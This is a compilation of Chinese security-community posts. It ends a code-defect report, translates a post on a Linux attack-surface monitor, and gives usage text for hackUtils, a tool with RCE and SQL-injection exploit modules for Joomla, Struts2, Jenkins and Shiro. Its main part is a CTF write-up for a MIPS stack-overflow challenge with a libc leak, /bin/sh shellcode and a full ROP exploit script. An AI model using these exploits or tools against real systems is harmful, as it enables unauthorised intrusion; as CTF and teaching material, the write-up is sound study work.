MoneyTool（3.08）。可以看到，不同项目的缺陷密度差别巨大，其中华为的eSDK_FC_SDK_Java项目平均大约每1.5万行代码会出现一个缺陷，而同样是华为的IoT_OceanConnect项目平均大约每100行代码就会出现一个缺陷。
#### **4.2、各公司产品安全性对比**
本部分对不同互联网公司的产品安全性概况进行对比，图3展示了每个公司在本次测试中检测出的高危、中危缺陷总数，以及以公司为单位统计的每千行缺陷数。
图3 互联网公司产品安全性对比图
由于每个公司的项目被检测出缺陷的绝对数量与项目数量、项目大小相关，不能直接反映公司的产品安全性，因此本部分重点关注每千行缺陷数。根据该数据，本期报告抽取的5家IOT和互联网公司的开源项目均有较好的软件质量控制，每千行代码缺陷数在0.18至0.53之间，属于合理范围内。
#### 4.3、各公司高危缺陷分布情况
本部分展示各公司高危缺陷的分布情况，了解各公司出现较多的高危缺陷类型。图4展示了各公司的高危缺陷类型和分布情况，为了方便展示，统一将每个公司项目中出现5次以下的高危缺陷类型归入“其他”。可以看到，各公司的高危缺陷分布情况不尽相同。相对出现较为普遍的缺陷类型为“资源未释放”、“空指针解引用”、“不安全的随机性”。
图4 各公司高危缺陷分布情况
#### 4.4、各公司中危缺陷分布情况
本部分继续展示各公司中危缺陷的分布情况，了解各公司出现较多的中危缺陷类型。如图5所示，各公司的中危缺陷分布情况不尽相同。为了方便展示，统一将每个公司项目中出现5次以下的中危缺陷类型归入“其他”。
图5 各公司中危缺陷分布情况
其中，相对出现较普遍的缺陷类型为“资源未释放”、“内存泄露”。这两类问题类似，都会导致系统资源的持续消耗，进而引发性能下降、甚至系统崩溃的问题。而内存泄露特指那些由于操作不当导致内存无法被回收的情况，例如声明了非静态的内部类等。
#### 4.5、国内外互联网公司产品安全性对比
在最近三期的开源软件安全缺陷分析报告中，选取了国内外知名互联网公司旗下的几十款开源软件项目进行了安全性评估。结合上两期报告的评估结果，本部分将国内外互联网公司的产品安全缺陷和其软件自身的安全性进行了对比。对比参考数据是软件安全密度。图6展示了软件安全缺陷和软件安全密度之间的对比关系。可以明显看到，软件自身的安全性和软件代码中存在的安全缺陷数量有明显的正相关性。安全缺陷越多的软件，软件自身的安全性和健壮性越差。
图6 国内外互联网公司产品安全缺陷密度对比
“关于本报告的说明”
一、本报告仅从代码角度进行缺陷分析。本报告中统计的缺陷是指由于代码编写不规范导致的有可能被攻击者利用的安全隐患。在实际系统中，由于软件实际部署环境、
安全设备等的限制，部分缺陷可能无法通过渗透测试得到验证。
二、本报告中的缺陷仅适用于表1中列出的特定软件版本。当软件版本有任何更新、修改和优化时，本报告不再适用。
三、本报告由360代码卫士团队提供部分技术支持。
> 关联阅读
>
>
> [CNCERT发布开源软件代码安全缺陷分析报告](http://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247486083&idx=4&sn=69fd9416b68a78640b918a0f62d402f7&chksm=ea973be9dde0b2ff39cb05bfb3e9bc75543e5f32a1de5c5d3b75a9ddba71420bda85ff9a0bbb&scene=21#wechat_redirect)[关于国外知名互联网公司开源软件代码安全缺陷的分析报告](http://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247485444&idx=1&sn=8f02c1479c8b344644346d9b5be1d4ca&chksm=ea97396edde0b0786e4c3858ee96fed4fe85db16300b2edba90d252a7db5448bf8695eb8c1d4&scene=21#wechat_redirect)
**转载请注明 “转自360代码卫士www.codesafe.cn”** | 社区文章 |
# 【技术分享】Linux 攻击面分析与行为记录
|
##### 译文声明
本文是翻译文章，文章来源：anvilventures.com
原文地址：<https://anvilventures.com/blog/linux-attack-surface-analysis.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[pwnzi](http://bobao.360.cn/member/contribute?uid=1354052025)
预估稿费：130RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**前言**
我们最近做了一个应用安全审查项目.其中,在Linux上安装一些软件时,我分析了大量安装之前和之后Linux中的状态和变化.这让我意识到我应该错过了某些linux下的
**分析工具** ,就像微软的[ **Attack Surface
Analyzer**](https://technet.microsoft.com/en-us/security/gg749821.aspx)
这种工具.显然,现在已经有很多的监控工具了,用以记录安全信息日志和事件管理.
**工具的特性与扩展**
这些工具通常归为 **SIEM** (安全信息和事件管理(Security Information And Event
Management))类工具.比如一款很经典的SEIM工具[Tripwire](https://tripwire.com/).而且随着现在越来越火的机器学习和大数据的出现,有相当多的SEIM工具可供我们选择.这些工具看起来很拉风,或许你开会的时候可以拿出来给大家展示.但是这不是我真正想要的工具.这些工具有其使用场景,我用起来有点大材小用了.
我想,你肯定想要个有效且简单灵活的工具.该工具应该能在绝大部分的Linux系统里安装运行,并且能有良好的可扩展功能.于是我用 **python**
(3.x)和其标准库实现了一款工具.而且不需要复杂的后台进程和安装步骤.只需要放置几个Python脚本,就可以使用这个工具了.要完全实现自动化也比较容易,如果需要的话可以使用
**CI/DevOps** 类的工具,比如puppet和ansible.
另外,我想方便的扩展它.所以我决定简单的依赖于各种命令行工具.当然,也不仅仅是简单的解析命令行工具的输出,比如GNU的ls命令.好吧,就这么决定了.这就是我想要一个工具的原因，在做项目时我可以很快地扩展。测试结果还是比较可靠的,并且能得到及时的反馈.当然,在数百台不同的Linux/UNIX平台上测试时,可靠性结果差异还是挺大的,但是在不中断的情况下,还是能够产生一些可靠的结果.
有一些常见的陷阱,例如包括解析文件和处理命令行输出等.但是，不要让这阻止了脚步，事实上，在现实场景中，完美解析这个输出是完全不可能的。(比如[这](https://www.dwheeler.com/essays/filenames-in-shell.html)和[这](https://www.dwheeler.com/essays/fixing-unix-linux-filenames.html)).有很多软件都依赖于输出结果,比如GNU的ls.尽管某些命令行开发者添加了很多改动或者错误,我们最好依然能输出默认的正常结果.[stackexchange](https://unix.stackexchange.com/questions/258679/why-is-ls-suddenly-wrapping-items-with-spaces-in-single-quotes)
**实际测试**
对该工具介绍的挺多了,现在我们开始实际的测试下,测试环境是Ubuntu和Debian系统.如果你要用其他的操作系统进行测试,你可能需要针对BSD环境添加些特殊参数(e.g.
ls –color=yes versus ls -G respectively).只需要少量工作量就可以在其他的系统里进行运行了.
具体不再多讲了.下面是dawgmon –dawg
监控的一些输出.我们运行该工具首先需要建立一个基线,用以和较新的结果进行比较.一个示例正在运行，其中已经有一个基线，然后我们打开一个端口，接着再关闭它，可能如下所示：
# ./dawgmon -gfA
0 changes detected (0 warnings)
# nc -l -p 4455 &
[1] 12489
# ./dawgmon -gfA
1 change detected (0 warnings)
+ port 4455 tcp opened
# fg
nc -l -p 4455
^C
# ./dawgmon -gfA
1 change detected (0 warnings)
+ port 4455 tcp closed
#
从上面的结果看,我们可以准确的发现相应的端口关闭了.这不需要hook netlink链接库.它只是转化netstat的输出，并与先前缓存的结果比较。
在这个示例中,基线已经被缓存了,第一次dawgmon运行的时候,我们发现没有什么改变.然后Vbox正在安装运行另一个dawgmon并产生一个非常有用的检测到的攻击面列表。
# ./dawgmon -gfA
0 changes detected (0 warnings)
# apt install virtualbox-5.1
[...]
# ./dawgmon -gfA
33 changes detected (0 warnings)
+ size of file /etc/group changed from 937 to 954
+ file /etc/group got modified on 2017-09-14 19:29:51.804811 +0200
+ size of file /etc/group- changed from 934 to 937
+ file /etc/group- got modified on 2017-09-14 19:29:14.000000 +0200
+ file /etc/gshadow got modified on 2017-09-14 19:29:51.812811 +0200
+ size of file /etc/gshadow- changed from 777 to 794
+ size of file /etc/mailcap changed from 40777 to 41063
+ file /etc/mailcap got modified on 2017-09-14 19:29:51.632812 +0200
+ file /etc/systemd/system/multi-user.target.wants/vboxautostart-service.service got created (owner=root, group=root, perm=lrwxrwxrwx, size=49)
+ file /etc/systemd/system/multi-user.target.wants/vboxballoonctrl-service.service got created (owner=root, group=root, perm=lrwxrwxrwx, size=51)
+ file /etc/systemd/system/multi-user.target.wants/vboxdrv.service got created (owner=root, group=root, perm=lrwxrwxrwx, size=35)
+ file /etc/systemd/system/multi-user.target.wants/vboxweb-service.service got created (owner=root, group=root, perm=lrwxrwxrwx, size=43)
+ file /etc/udev/rules.d/60-vboxdrv.rules got created (owner=root, group=root, perm=-rw-r--r--, size=747)
+ group vboxusers added
+ package virtualbox-5.1 is to be installed
+ suid binary /usr/lib/virtualbox/VBoxHeadless got created (owner=root, group=root, perm=-r-s--x--x, size=158304)
+ suid binary /usr/lib/virtualbox/VBoxNetAdpCtl got created (owner=root, group=root, perm=-r-s--x--x, size=23144)
+ suid binary /usr/lib/virtualbox/VBoxNetDHCP got created (owner=root, group=root, perm=-r-s--x--x, size=158304)
+ suid binary /usr/lib/virtualbox/VBoxNetNAT got created (owner=root, group=root, perm=-r-s--x--x, size=158304)
+ suid binary /usr/lib/virtualbox/VBoxSDL got created (owner=root, group=root, perm=-r-s--x--x, size=158296)
+ suid binary /usr/lib/virtualbox/VBoxVolInfo got created (owner=root, group=root, perm=-r-s--x--x, size=10472)
+ suid binary /usr/lib/virtualbox/VirtualBox got created (owner=root, group=root, perm=-r-s--x--x, size=158304)
+ i-node for listening UNIX socket /run/systemd/private changed from 3428734 to 3452848
+ systemd property NInstalledJobs changed from 8392199 to 3238035463
+ systemd property NNames changed from 261 to 263
+ systemd unit file vboxautostart-service.service added
+ systemd unit file vboxballoonctrl-service.service added
+ systemd unit file vboxdrv.service added
+ systemd unit file vboxweb-service.service added
+ systemd unit 'vboxautostart-service.service' added
+ systemd unit 'vboxballoonctrl-service.service' added
+ systemd unit 'vboxdrv.service' added
+ systemd unit 'vboxweb-service.service' added
这里需要注意下,以上行为并不都是错误的;但是我们想要看虚拟机里是否有本地权限提升漏洞利用的行为,至少我们知道从哪里开始(suid
root二进制文件就是一个观察点,其中有可能包含权限提升的漏洞).
这个工具目前看起来还是很有用的.目前该工具已经被一些企业开始实用了,我们经常收到回复邮件.比起那些复杂昂贵的SIEM工具,dawgmon就简单实用多了.它可以给我们一些警告提示,比如机器重启,某些配置文件不经意被修改等.下面是部分邮件截图:
这些邮件来自不同组件的测试结果.比如监控着 SystemD, System V IPC, UNIX sockets, TCP/UDP
端口的变化,以及处理和修改`/etc`,`/boot`里文件的行为等.一些注意事项都写在了README里了,可在源代码中找到.下面是dawgmon
1.0版本的一些命令:
$ ./dawgmon -E
NAME DESCRIPTION
check_boot analyzes /boot directory
check_etc analyzes /etc directory
check_groups analyze UNIX group changes
check_users analyze UNIX user changes
env monitor changes in environment variables
kernel_version analyze changes in kernel version
list_blkdev analyze changes in available block devices
list_ifaces analyze changes in network interfaces
list_mount analyze changes in file system mounts
list_msq analyze changes in System V message queues
list_packages analyze changes in installed Debian packages
list_pipes lists named pipes
list_processes monitors changes in the running processes (mostly for debugging)
list_sem analyze changes in System V sempahores
list_shm analyze changes in System V shared memory segments
list_suids lists setuid/setgid executables
list_sysvinit_jobs analyze changes in available System V init jobs
list_tcpudp_ports list changes in listening TCP/UDP ports for both IPv4/IPv6
list_unix_ports list changes in listening UNIX ports
lsb_version analyze changes in Linux Standard Base release settings
needs_restart checks whether a reboot is required (Ubuntu-only)
systemd_props show all systemd properties
systemd_sockets list systemd sockets
systemd_timers list systemd timers
systemd_unitfiles list all available systemd unit files
systemd_units list all available systemd units
uptime show uptime and check if reboot happened
**总结与源码**
我很高兴听到对该工具的各种建议,比如添加些其他命令和模块.那么请赶快通过github和邮件来提交patch吧.
在Anvil
Ventures企业的github页面上你可以找到该工具的源代码:[dawgmon](https://github.com/anvilventures/dawgmon).欢迎提交补丁，评论，建议和批评.
联系方式: [github](https://github.com/gvb84)
[Twitter](https://twitter.com/santaragolabs) [email protected] | 社区文章 |
### 地址： **<https://github.com/brianwrf/hackUtils>**
Usage:
hackUtils.py [options]
Options:
-h, --help Show basic help message and exit
-b keyword, --baidu=keyword Fetch URLs from Baidu based on specific keyword
-g keyword, --google=keyword Fetch URLs from Google based on specific keyword
-i keyword, --censysip=keyword Fetch IPs from Censys based on specific keyword
-u keyword, --censysurl=keyword Fetch URLs from Censys based on specific keyword
-w keyword, --wooyun=keyword Fetch URLs from Wooyun Corps based on specific keyword
-j url|file, --joomla=url|file Exploit SQLi for Joomla 3.2 - 3.4
-r url|file, --rce=url|file Exploit Remote Code Execution for Joomla 1.5 - 3.4.5
-f url|file, --ffcms=url|file Exploit Remote Code Execution for FeiFeiCMS 2.8
-k ip|file[::cmd], --jenkins=ip|file[::cmd] Exploit Remote Code Execution for XStream (Jenkins CVE-2016-0792)
-o url|file[::cmd], --shiro=url|file[::cmd] Exploit Remote Code Execution for Apache Shiro 1.2.4
-s url|file, --s2032=url|file Exploit Remote Code Execution for Struts2 (S2-032)
-d site, --domain=site Scan subdomains based on specific site
-e string, --encrypt=string Encrypt string based on specific encryption algorithms (e.g. base64, md5, sha1, sha256, etc.)
Examples:
hackUtils.py -b inurl:www.example.com
hackUtils.py -g inurl:www.example.com
hackUtils.py -i 1099.java-rmi
hackUtils.py -u 1099.java-rmi
hackUtils.py -w .php?id=
hackUtils.py -j http://www.joomla.com/
hackUtils.py -j urls.txt
hackUtils.py -r http://www.joomla.com/
hackUtils.py -r urls.txt
hackUtils.py -f http://www.feifeicms.com/
hackUtils.py -f urls.txt
hackUtils.py -k 10.10.10.10
hackUtils.py -k 10.10.10.10::dir
hackUtils.py -k ips.txt
hackUtils.py -k ips.txt::"touch /tmp/jenkins"
hackUtils.py -o http://www.shiro.com/::"touch /tmp/shiro"
hackUtils.py -o urls.txt::"touch /tmp/shiro"
hackUtils.py -s http://www.struts2.com/index.action
hackUtils.py -s urls.txt
hackUtils.py -d example.com
hackUtils.py -e text
Change Logs:
**2016.08.08**
1. Add exploit module for Apache Shiro 1.2.4 Remote Code Execution
**2016.04.26**
1. Add exploit module for Struts 2 (S2-032) Remote Code Execution
**2016.03.10**
1. Modify exploit payload for XStream (Jenkins CVE-2016-0792) Remote Code Execution
**2016.03.02**
1. Add exploit module for XStream (Jenkins CVE-2016-0792) Remote Code Execution
**2016.02.29**
1. Add Censys URLs fetching module
**2016.02.24**
1. Add Censys IPs fetching module
2. Add exploit module for FeiFeiCMS 2.8 Remote Code Execution
**2015.12.23**
1. Update Baidu URLs fetching module
2. Update Wooyun URLs fetching module
3. Update Subdomains Scan module
**2015.12.17**
1. Modify exploit payload for Joomla 1.5 - 3.4.5 - Object Injection Remote Code Execution
**2015.12.16**
1. Add exploit module for Joomla 1.5 - 3.4.5 - Object Injection Remote Code Execution
[!] legal disclaimer: Usage of hackUtils for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability and
are not responsible for any misuse or damage caused by this program | 社区文章 |
# 2021第四届强网拟态防御积分赛工控pwn eserver WP
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这次分享的题目是2021年第四届强网拟态积分挑战赛的一道工控方向的pwn题目，这次赛事还是挺大的，国际选手也参与进来。通过积分挑战赛拿积分，包括拟态和非拟态赛题，用积分去挑战黑盒/白盒设备题目，挑战成功即可平分百万奖金。
## mips汇编前置知识
### mips汇编基础
**有 32 个通用寄存器，三个特殊寄存器。**
|编号 | 名称 | 描述|
| —— | —— |——|
|0 | zero | 0号寄存器，始终是0；（为0提供简洁的形式）|
|1 | $at | 保留寄存器|
|2~3 | $v0~$v1 | values，保存表达式或函数的返回结果|
|4~7 | $a0~a3 | arguments，函数的前4个参数|
|8~15 | $t0~t7 | temporaries，汇编程序的临时寄存器|
|16~23 | $s0~s7 | saved values，子函数使用时需要提前保存的值|
|24~25 | $t8~$t9 | temporaries 临时，补充t0~t7|
|26~27 | $k0~$k7 | 保留，中断处理函数使用|
|28 | $gp | global pointer，全局指针|
|29 | $sp | stack pointer，堆栈指针，指向栈顶|
|30 | $fp | frame poniter，保存栈帧指针|
|31 | $ra | return address，函数返回地址|
|pc | | 程序计数器|
|HI | | 高位、余数|
|LO | | 低位，商|
**字节序**
大端序、小端序；file 指令查看 (MSB 或者 LSB)
**寻址方式**
寄存器寻址 多用于 load/store 两种
PC 寻址 多用于转移指令
立即数寻址 多用于寻找变量
### mips汇编特点
**mips指令**
固定 4 字节长度
内存中的数据访问必须严格对齐（4byte）
流水线效应
以下指令的，strchr 函数的参数来自 $s0 而不是 $s2
mov $a0, $s2
jalr strchr
move $a0, $s0
指令格式
R型指令 Opcode(6) Rs(5) Rt(5) Rd(5) Shamt(5) Funct(6)
I型指令 Opcode(6) Rs(5) Rt(5) Immediate(16)
J型指令 Opcode(6) Address(26)
**mips常用指令**
`i`表示立即数相关，`u`表示无符号相关。
load/store 指令
la指令：将地址或者标签存入一个寄存器 eg:`la $t0,val_1`复制val_l的地址到$t0中，val_1是一个Label
li指令，将立即数存入通用寄存器 eg:`li $t1, 40` $t1 = 40
lw指令，从指定的地址加载一个word类型的值到一个寄存器 eg:`lw $s0, 0($sp) $s0=MEM[$sp+0]`
sw指令，将寄存器的值，存于指定的地址word类型 eg:`sw $a0, 0($sp) MEM[$sp+0] = $a0`
move指令，寄存器传值 eg：`move $t5, $t2 $t5 = $t2`
**算数指令**
算术指控得所有操作都是寄存器，不能是 RAM 地址或间接寻址。且操作数大小都是 word（4byte）
add $t0, $t1, $t2 $t0=$t1+$t2； 带符号数相加
sub $t0, $t1, $t2 $t0=$t1-$t2； 带符号数相减
addi $t0, $t1, 5 $t0=$t1+5； 有立即数的加法
addu $t0, $t1, $t2 $t0=$t1+$t2 无符号数的加法
subu $t0, $t1, $t2 $t0=$t1-$t2； 带符号数相减
mult $t3, $t3 (HI, LO) = $t3 * $t4
div $t5, $t6 $Hi=$t5 mod $t6
mfhi $t0 $t0 = $Hi
mflo $t1 $t1 = $Lo
**SYSCALL**
产生一个软化中断，实现系统调用；系统调用号存放在 $v0 中，参数在 $a0~$a3 中；
返回值在 $v0 中，如果出错，在 $a3 中返回错误号；在编写 shellcode 时，用到该指令机制
Write(1, “ABCn”, 5) 实现如下
addiu $sp, $sp, -32
li $a0, 1
lui $t6, 0x4142
ori $t6, $t6, 0x430a
sw $t6, $0($sp)
addiu $a1, $sp, 0
li $a2, 5
li $v0, 4004
syscall
**分支跳转指令**
分支跳转指令本身可以通过比较两个寄存器决定如何跳转；如果想要实现与立即数的比较跳转，需要结合类跳转指令实现
b target 无条件跳转到target处
beq $t0, $t1, target 如果"$t0 == $t1”，跳转到target
blt $t0, $t1, target 如果“$t0 < $t1”，跳转到target
ble $t0, $t1, target 如果“$t0 <= $t1” 跳转到target
bgt
blt
bne 类比上
**跳转指令**
j target 无条件跳转target
jr $t3 跳转到$t3指向的地址处(Jump Register)
jal target 跳转到target，并保存返回地址到$ra中
**子函数的调用**
jal sub_routine_label
复制当前PC的值到$ra中，（当前PC值就是返回地址）
程序跳转到sub_routine_label
**子函数的返回**
jr $ra
如果子函数重复嵌套，则将$ra的值保存在堆栈中，因为$ra总是保存当前执行的子函数的返回地址
## 题目分析
题目是一个mipsel架构的pwn题目，先qemu运行一下：
➜ exp qemu-mipsel-static -L ./ eserver
███████╗ ██████╗██╗ ██╗ ██████╗ ███████╗███████╗██████╗ ██╗ ██╗███████╗██████╗
██╔════╝██╔════╝██║ ██║██╔═══██╗ ██╔════╝██╔════╝██╔══██╗██║ ██║██╔════╝██╔══██╗
█████╗ ██║ ███████║██║ ██║ ███████╗█████╗ ██████╔╝██║ ██║█████╗ ██████╔╝
██╔══╝ ██║ ██╔══██║██║ ██║ ╚════██║██╔══╝ ██╔══██╗╚██╗ ██╔╝██╔══╝ ██╔══██╗
███████╗╚██████╗██║ ██║╚██████╔╝ ███████║███████╗██║ ██║ ╚████╔╝ ███████╗██║ ██║
╚══════╝ ╚═════╝╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚══════╝╚═╝ ╚═╝ ╚═══╝ ╚══════╝╚═╝ ╚═╝
Welcome to the IOT echo server!
The server will return the same package to respond!
Input package: 111
Response package: 111
Input package:
程序没有开启 canary 和 NX 保护:
➜ exp checksec eserver
Arch: mips-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
ida看下此程序主逻辑：
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [sp+18h] [+18h] BYREF
char v5[496]; // [sp+1Ch] [+1Ch] BYREF
init(argc, argv, envp);
menu();
buf = 0;
memset(v5, 0, sizeof(v5));
writen("Welcome to the IOT echo server!");
writen("The server will return the same package to respond!");
do
{
while ( 1 )
{
write(1, "Input package: ", 0xFu);
recvn(src, 0x300);
strcpy((char *)&buf, src); <-----------buf overflow ------->
write(1, "Response package: ", 0x12u);
writen(src);
if ( strcmp((const char *)&buf, "Administrator") || tag != 287454020 )
break;
backdoor();
tag = 0;
}
}
while ( strcmp((const char *)&buf, "EXIT") );
writen("Bye~");
close(1); <----colse output stream------->
return 0;
}
主要漏洞在栈溢出，程序最后还关闭了便准输出流，然后还能发现当输入’Administrator’的时候会进入后门backdoor，查看后门功能：
ssize_t backdoor()
{
int v1; // [sp+18h] [+18h]
ssize_t (**v2)(int, void *, size_t); // [sp+1Ch] [+1Ch] BYREF
write(1, "Input package: ", 0xFu);
v1 = recvnum();
write(1, "Response package: ", 0x12u);
if ( v1 < 0 || v1 >= 3 )
return writen("Error!");
v2 = &read;
write(1, (char *)&v2 + v1, 1u);
return write(1, &unk_1460, 1u);
}
后门函数可以输出libc函数read地址的末0、1、2个字节偏移，从而泄露read函数libc地址，获取libc基址。
## 利用思路
程序没有开启 NX 保护，所以可以直接将 shellcode 写到栈上，并且跳转执行。但是因为 mipsel 架构流水指令集的特点，需要调用 sleep
或者其他函数将数据区刷新到当前指令区中去，才能正常执行 shellcode。
程序运行在 qemu 的 user 模式下，所以即便程序重启 libc
地址也不变，虽然后门函数只能进入一次，且一次只能泄露一个字节，但是通过多次连接可以分别泄露 libc 的各个字节。有了libc
地址之后，配合栈溢出漏洞，可以进行 ret2libc 的利用，但是 mipsel 的 gadget 不像常规 x86 架构设置寄存器那么便捷，需要配合
IDA 的mipsROP 插件慢慢找合适的 gadget。
所以整体思路是，先通过 ret2libc 调用一个 sleep 函数，刷新指令区，然后再通过 ROP 跳转到栈上的 shellcode 执行。
由于程序最后关闭了标准输出流，所以这里需要用 shellcode 拿到 shell ，然后通过在 shell
中执行命令时，将标准输出转换到标准错误输出上，来获取 flag。
## 利用过程
### 泄露libc
qemu 的 user 模式下，所以即便程序重启 libc
地址也不变，程序给了一个后门可以通过idx泄露地址的后三个字节，有了后三字节，根据偏移所以可以得到libc的地址。
from pwn import *
libc_base = 0x7f000000
for x in xrange(3):
# io = process(['qemu-mipsel', '-L', './', '-g', '1234','./eserver'])
# io = process(['qemu-mipsel', '-L', './', './eserver'])
io = remote('127.0.0.1', 49153)
io.sendlineafter('Input package: ', 'Administrator')
io.sendlineafter('Input package: ', str(x))
io.readuntil('Response package: ')
Abyte = u8(io.readn(1))
libc_base += (Abyte << (8*x))
io.close()
libc_base -= 0xDDEA4
print 'libc_base: '+hex(libc_base)
### shellcode准备
mips下的shellcode，拿一个准备好的shellcode，验证可以自行调用。
"\xff\xff\x06\x28" // slti $a2, $zero, -1
"\x62\x69\x0f\x3c" // lui $t7, 0x6962 ib
"\x2f\x2f\xef\x35" // ori $t7, $t7, 0x2f2f ib//
"\xf4\xff\xaf\xaf" // sw $t7, -0xc($sp)
"\x73\x68\x0e\x3c" // lui $t6, 0x6873 hs
"\x6e\x2f\xce\x35" // ori $t6, $t6, 0x2f6e hs/n
"\xf8\xff\xae\xaf" // sw $t6, -8($sp)
"\xfc\xff\xa0\xaf" // sw $zero, -4($sp)
"\xf4\xff\xa4\x27" // addiu $a0, $sp, -0xc //bin/sh
"\xff\xff\x05\x28" // slti $a1, $zero, -1
"\xab\x0f\x02\x24" // addiu $v0, $zero, 0xfab
"\x0c\x01\x01\x01" // syscall 0x40404
### ROP寻找
寻找的目标就是首先找到一个能控制s1-sn并且有`jr $ra`的rop链，用mips-rop插件在libc中寻找合适的rop链：
`mipsrop.find('jr $ra')`;
发现以下rop，可以修改s0-s3寄存器：
.text:000A0C7C loc_A0C7C: # CODE XREF: sub_A0B40+218↓j
.text:000A0C7C lw $ra, 0x2C+var_s10($sp)
.text:000A0C80 lw $s3, 0x2C+var_sC($sp)
.text:000A0C84 lw $s2, 0x2C+var_s8($sp)
.text:000A0C88 lw $s1, 0x2C+var_s4($sp)
.text:000A0C8C lw $s0, 0x2C+var_s0($sp)
.text:000A0C90 jr $ra
.text:000A0C94 addiu $sp, 0x40
其实libc里面还有很多这样的gadgets，可以自行取用。此时我们可以控制ra返回地址和s寄存器。这里我们利用s3，在给s3赋值另一段gadget使其跳转到shellcode，我们再接着找能够跳转到s3寄存器且最好能将栈上的shellcode指针赋值给寄存器的gadget。
`mipsrop.find("move $t9, $s3")`
找到以下gadget：
.text:000F60D4 addiu $a1, $sp, 0xB8+var_A0 # 控制shellcode给a1寄存器
.text:000F60D8 move $t9, $s3 #跳向s3，s3可以指向a1，从而跳转到shellcode
.text:000F60DC jalr $t9
所以接下来的任务是要找能够跳转到a1的gadget。
| Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------------------- | 0x0011C68C | move $t9,$a1 | jalr $a1 |
----------------------------------------------------------------------------------------------------------------
很幸运只有这一个：
.text:0011C68C move $t9, $a1
.text:0011C690 move $a1, $a0
.text:0011C694 jalr $t9
此时，可以跳向a1，而a1已经指向了shellcode，这个调用链完成了。可以得到以下rop链完成覆盖返回地址跳到shellcode。
set_s3_addr = 0x0A0C7C
# .text:000A0C7C lw $ra, 0x2C+var_s10($sp)
# .text:000A0C80 lw $s3, 0x2C+var_sC($sp)
# .text:000A0C84 lw $s2, 0x2C+var_s8($sp)
# .text:000A0C88 lw $s1, 0x2C+var_s4($sp)
# .text:000A0C8C lw $s0, 0x2C+var_s0($sp)
# .text:000A0C90 jr $ra
# .text:000A0C94 addiu $sp, 0x40
addiu_a1_sp = 0xF60D4
# .text:000F60D4 addiu $a1, $sp, 24
# .text:000F60D8 move $t9, $s3
# .text:000F60DC jalr $t9
jr_a1 = 0x11C68C
# .text:0011C68C move $t9, $a1
# .text:0011C690 move $a1, $a0
# .text:0011C694 jalr $t9
payload = ''
payload += 'a'*508
payload += p32(set_s3_addr+libc_base)
payload += 'b'*44
payload += '0000' #s0
payload += '1111' #s1
payload += '2222' #s2
payload += p32(jr_a1+libc_base) #s3
payload += p32(addiu_a1_sp+libc_base) #ra
payload += 'd'*24
payload += shellcode
还有一个点就是这个题部署的时候是用户模式部署的，qemu的用户模式解释汇编指令的时候，qemu翻译的特点导致指令流水有时候表现不出来，所以这里并没有调用函数去将数据区刷新到指令区域也是可以拿到shell的；但是如果题目使用system模式部署，添加调用函数刷新数据区域再跳转到shellcode就很必要了，这里再找两个gadget实现调用函数后再跳转到a1处的shellcode。这里挑选sleep函数比较方便。
首先设置sleep参数1，跳转到s1
`mipsrop.find("li $a0, 1")`
.text:00124474 move $t9, $s1
.text:00124478 jalr $t9 ; close
.text:0012447C li $a0, 1
在s1处放置下一段gadget，调用sleep函数，这里寻找能实现跳转到s2最好还能控制ra和其他s寄存器以使得能继续进行上述第一个跳转到shellcode的gadget。这里找到以下
`mipsrop.find("move $t9, $s2")`
.text:0008F3A4 move $t9, $s2
.text:0008F3A8 jalr $t9 ; uselocale
.text:0008F3AC move $s0, $v0
.text:0008F3B0 lw $ra, 0x24+var_s10($sp)
.text:0008F3B4 move $v0, $s0
.text:0008F3B8 lw $s3, 0x24+var_sC($sp)
.text:0008F3BC lw $s2, 0x24+var_s8($sp)
.text:0008F3C0 lw $s1, 0x24+var_s4($sp)
.text:0008F3C4 lw $s0, 0x24+var_s0($sp)
.text:0008F3C8 jr $ra
.text:0008F3CC addiu $sp, 0x38
因此就可以找到以下调用链可是实现溢出后先调用sleep函数刷新数据区到当前指令区，然后再跳转到shellcode。
payload = ''
payload += 'a'*508
payload += p32(set_s3_addr+libc_base) # overflow return address1
payload += 'b'*44
payload += '0000' #s0
payload += p32(jr_t9_jr_ra+libc_base) #s1 # goto sleep
payload += p32(usleep+libc_base) #s2 # sleep addr
payload += '3333' #s3
payload += p32(set_a0_addr+libc_base) #ra # overflow return address2
payload += 'c'*48
payload += p32(jr_a1+libc_base) #s3 # goto a1(shellcode)
payload += p32(addiu_a1_sp+libc_base) #ra # overflow return address3,modify a1 to sp+24(shellcode),goto s3
payload += 'd'*24
payload += shellcode
## exp
以下exp包含上述两个payload的实现：
from pwn import *
context.log_level = 'debug'
libc_base = 0x7f62f000
set_a0_addr = 0x124474
# .text:00124474 move $t9, $s1
# .text:00124478 jalr $t9 ; close
# .text:0012447C li $a0, 1
set_s3_addr = 0x0A0C7C
# .text:000A0C7C lw $ra, 0x2C+var_s10($sp)
# .text:000A0C80 lw $s3, 0x2C+var_sC($sp)
# .text:000A0C84 lw $s2, 0x2C+var_s8($sp)
# .text:000A0C88 lw $s1, 0x2C+var_s4($sp)
# .text:000A0C8C lw $s0, 0x2C+var_s0($sp)
# .text:000A0C90 jr $ra
# .text:000A0C94 addiu $sp, 0x40
jr_t9_jr_ra = 0x8F3A4
# .text:0008F3A4 move $t9, $s2
# .text:0008F3A8 jalr $t9 ; uselocale
# .text:0008F3AC move $s0, $v0
# .text:0008F3B0 lw $ra, 52($sp)
# .text:0008F3B4 move $v0, $s0
# .text:0008F3B8 lw $s3, 48($sp)
# .text:0008F3BC lw $s2, 44($sp)
# .text:0008F3C0 lw $s1, 40($sp)
# .text:0008F3C4 lw $s0, 36($sp)
# .text:0008F3C8 jr $ra
# .text:0008F3CC addiu $sp, 0x38
addiu_a1_sp = 0xF60D4
# .text:000F60D4 addiu $a1, $sp, 24
# .text:000F60D8 move $t9, $s3
# .text:000F60DC jalr $t9
jr_a1 = 0x11C68C
# .text:0011C68C move $t9, $a1
# .text:0011C690 move $a1, $a0
# .text:0011C694 jalr $t9
